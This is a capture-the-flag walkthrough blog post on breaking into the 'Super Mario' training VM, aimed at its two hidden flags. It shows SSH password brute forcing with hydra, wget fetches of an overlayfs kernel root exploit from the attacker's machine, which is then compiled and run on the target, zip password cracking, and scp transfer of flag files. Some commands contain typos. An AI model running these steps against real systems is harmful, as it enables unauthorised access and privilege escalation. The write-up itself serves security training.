Hack the Super Mario (CTF Challenge)

Hello friends!! Might you people have played THE SUPER MARIO game once in your childhood and no wonder if a thought have been strike in your mind to hack the game. So whatever you had thought today we are going to make it true and for that you guys need to download the new VM machine for super Mario from here.

The credit for developing this VM machine is goes to Mr_h4sh who has hide 2 flag inside this lab as a challenge for hackers. The level of the challenge is Intermediate.

Let’s breach!!!

 As you know we always start with enumeration, therefore open the terminal in your kali Linux and go for aggressive scan with nmap.

nmap –p- -A 192.168.0.5

Since port 22 and port 8180 for service SSH and HTTP respectively therefore I choose port 8081 for enumeration but from screenshot you can see I didn’t get any remarkable result.

Dirb http://192.168.0.5:8180

Then I move for directory brute force attack using following command

Dirb http://192.168.0.5:8180 /usr/share/wordlists/dirb/big.txt

In the given below screenshot you can read it has shown a file name vhosts, let’s explore it through browser.

Now explore vhost in URL as  http://192.168.0.5:8180/vhosts here vhosts stand for virtual host it is method for hosting multiple domain on a single server. From inside Vhosts I came know the Server Name is mario.supermariohost.local  

Let’s add mario.supermariohost.local into /etc as new localhost

Cd etc

Vim hosts

Now type “192.168.0.5 mario.supermariohost.local” inside the vim editor to add it in the /etc/host and after then type wq to save it.

Now Type Cat hosts to check added host name Hence you from screenshot you can see it has been had added inside it successfully.

Then I visit mario.supermariohost.local on browser and finally got Mario as browser game but it is not working.

Since we know port 22 and 8081 was open and we didn’t get much information from enumeration of port 8081. Now we will move towards port 22 for SSH enumeration therefore I had prepared a dictionary in order to retrieve credential to login inside SSH server. 

Dictionary contains username which was the famous character of MARIO, you can check these name from Google also.

Inside text editor type following name: Mario; luigi; peach; toad; yoshi and save file as user on desktop.

Use john the ripper to generate dictionary of password using following command here –rules will enable the wordlist and –stdout will define a fix length of password to be generate on the desktop as pass.

John –wordlist : user –rules –stdout > pass

Finally we have username dictionary as user and password dictionary generated by john as pass, now we have to match perfect combination of user and pass in order to retrieve credential for SSH login. I had chosen hydra for password cracking, you can choose any other password cracking tool also.

Hydra –L user –P pass 192.168.0.5 ssh

From the given screenshot you read the matched combination of username: luigi and password: luigi1 for SSH server.

Now type following for SSH login

Ssh [email protected]

Password luigi1

Yeeppiii!!!!  Finally we have login inside SSH server.

Uname –a

Here we come to know that the version for linux  supermariohost 3.13.0; let’s checkout its exploit on Google.

Yes, there is an exploit for 3.13.0 overlayfs local root in ubuntu , download it from here inside your kali Linux.

Form screenshot you can see I have downloaded the exploit as Mario.c for privilege escalation. 

Now type following command for downloading Mario.c inside target system.

wget http://192.168.0.6/mario.c

The file is successfully downloaded inside it now type another command to compile Mario.c

gcc Mario.c -o mario

./Mario

Id

Cd/root

Ls

Awesome!!! We have got root privilege and from screenshot you can see inside its directory I have got zip file as flag.zip

Now type following command to download flag.zip on the desktop of your kali Linux

scp /root/flag.zip [email protected]:/root/Desktop

Fcrackzip flag.zip –D –P /user/share/wordlist/rockyou.txt -u
As shown in given screenshot PASSWORD FOUND!!! : pw ==ilovepeach; now you can unzip your file using this password.

Unzip flag.zip

It will ask for password, give above password to unzip it and again if you notice the given image it contains flag.txt

Cat flag.txt

1st FLAG: Well done: D If you reached this it means you got root, congratulations.

Now follow the given below step in order to complete another challenge.

Iptables –L

Here from screenshot you can see a new network has been added on remote system.

arp –n

Now the target system has been forwarded on a new IP 192.168.122.112

Ls -la

Found a directory .bak

Cd /.bak

Ls

Cd users

Cd luigi

Ls

There are two files inside it let’s read them one by one

Cat message

Hi Luigi,

Since you’ve been messing around with my host, at this point I want to return the favour. This is a “war”, you “naughty” boy!

cat id_rsa.pub

The highlighted word in the given text may appear like a username for login into SSH server.

Let ensure by login into ssh -i id_rsa [email protected]

Great!! All assumption had given positive result

Again check for kernel version

uname -a

Woooww!! It is same version now we can use our Mario.c exploit for root privilege. Hence repeat the above step as shown in images.

Wget http://192.168.0.6/maio.c

The file is successfully downloaded inside it now type another command to compile Mario.c

Gcc Mario.c –o Mario

./Mario

Id

Cd /root

Ls –la

Here I found two important files 1st hint.txt 2nd flag2.zip before going for unzip flag.zip we must look towards hint.txt file.

Cat .hint.txt

Peach Loves Me” it might be the password key for decrypting the flag2.zip file 

Now let download fla2g.zip on the desktop of kali Linux by using following again

Scp /root/flag2.zip [email protected]:/root/Desktop

Unzip flag2.zip

Now when it will ask for password key type “Peach Loves Me

It contains flag2.txt inside type cat flag2.txt to open this file.

2nd FLAG: Congratulations on your second flag!

  Wonderful!!! We have caught both flags

Rajat Chikara is An Ethical HackerCyber Security Expert, Penetration Tester, India.

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